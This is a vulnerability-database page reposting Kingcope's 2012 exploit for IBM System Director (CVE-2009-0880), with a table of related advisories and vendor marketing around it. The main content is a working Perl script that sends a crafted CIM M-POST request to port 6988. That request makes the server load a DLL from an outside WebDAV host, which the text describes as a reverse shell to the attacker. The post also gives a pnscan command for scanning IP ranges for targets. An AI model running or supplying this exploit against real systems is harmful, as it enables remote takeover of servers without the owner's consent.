Lucene search
K

IBM System Director Remote DLL Load

🗓️ 03 Dec 2012 00:00:00Reported by KingcopeType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 38 Views

IBM System Director Remote DLL Load exploit CVE-2009-088

Related
Code
ReporterTitlePublishedViews
Family
0day.today
IBM System Director Remote System Level Exploit
2 Dec 201200:00
zdt
0day.today
IBM System Director Agent DLL Injection Vulnerability
7 Dec 201200:00
zdt
Circl
CVE-2009-0880
10 Mar 200900:00
circl
CVE
CVE-2009-0880
12 Mar 200915:00
cve
Cvelist
CVE-2009-0880
12 Mar 200915:00
cvelist
Exploit DB
IBM System Director Agent - Remote System Level
2 Dec 201200:00
exploitdb
Exploit DB
IBM System Director Agent - DLL Injection (Metasploit)
7 Dec 201200:00
exploitdb
exploitpack
IBM System Director Agent - Remote System Level
2 Dec 201200:00
exploitpack
Kaspersky
KLA10198 Multiple vulnerabilities in IBM Director
12 Mar 200900:00
kaspersky
Metasploit
IBM System Director Agent DLL Injection
6 Dec 201215:43
metasploit
Rows per page
`IBM System Director Remote System Level Exploit (CVE-2009-0880 extended zeroday)  
Copyright (C) 2012 Kingcope  
  
IBM System Director has the port 6988 open. By using a special request  
to a vulnerable server,  
the attacker can force to load a dll remotely from a WebDAV share.  
  
The following exploit will load the dll from  
\\isowarez.de\\director\wootwoot.dll  
the wootwoot.dll is a reverse shell that will send a shell back to the  
attacker (the code has to be inside the dll initialization routine).  
The IBM Director exploit works on versions 5.20.3 and before, but not  
on 5.2.30 SP2 and above.  
Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-0880  
There was a prior CVE for it, the CVE states the attack can load local  
files only, using the WebDAV server remote file can be loaded too.  
To scan for this software you can enter the following (by using pnscan):  
./pnscan -w"M-POST /CIMListener/ HTTP/1.1\r\nHost:  
localhost\r\nContent-Length: 0\r\n\r\n" -r HTTP <ipblock> 6988  
  
Exploit:  
---snip---  
use IO::Socket;  
#1st argument: target host  
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],  
PeerPort => "6988",  
Proto => 'tcp');  
$payload =  
qq{<?xml version="1.0" encoding="utf-8" ?>  
<CIM CIMVERSION="2.0" DTDVERSION="2.0">  
<MESSAGE ID="1007" PROTOCOLVERSION="1.0">  
<SIMPLEEXPREQ>  
<EXPMETHODCALL NAME="ExportIndication">  
<EXPPARAMVALUE NAME="NewIndication">  
<INSTANCE CLASSNAME="CIM_AlertIndication" >  
<PROPERTY NAME="Description" TYPE="string">  
<VALUE>Sample CIM_AlertIndication indication</VALUE>  
</PROPERTY>  
<PROPERTY NAME="AlertType" TYPE="uint16">  
<VALUE>1</VALUE>  
</PROPERTY>  
<PROPERTY NAME="PerceivedSeverity" TYPE="uint16">  
<VALUE>3</VALUE>  
</PROPERTY>  
<PROPERTY NAME="ProbableCause" TYPE="uint16">  
<VALUE>2</VALUE>  
</PROPERTY>  
<PROPERTY NAME="IndicationTime" TYPE="datetime">  
<VALUE>20010515104354.000000:000</VALUE>  
</PROPERTY>  
</INSTANCE>  
</EXPPARAMVALUE>  
</EXPMETHODCALL>  
</SIMPLEEXPREQ>  
</MESSAGE>  
</CIM>};  
$req =  
"M-POST /CIMListener/\\\\isowarez.de\\director\\wootwoot HTTP/1.1\r\n"  
."Host: $ARGV[0]\r\n"  
."Content-Type: application/xml; charset=utf-8\r\n"  
."Content-Length: ". length($payload) ."\r\n"  
."Man: http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40\r\n"  
."CIMOperation: MethodCall\r\n"  
."CIMExport: MethodRequest\r\n"  
."CIMExportMethod: ExportIndication\r\n\r\n";  
print $sock $req . $payload;  
  
while(<$sock>) {  
print;  
}  
---snip---  
  
Cheerio,  
  
Kingcope  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Dec 2012 00:00Current
6.4Medium risk
Vulners AI Score6.4
EPSS0.63557
38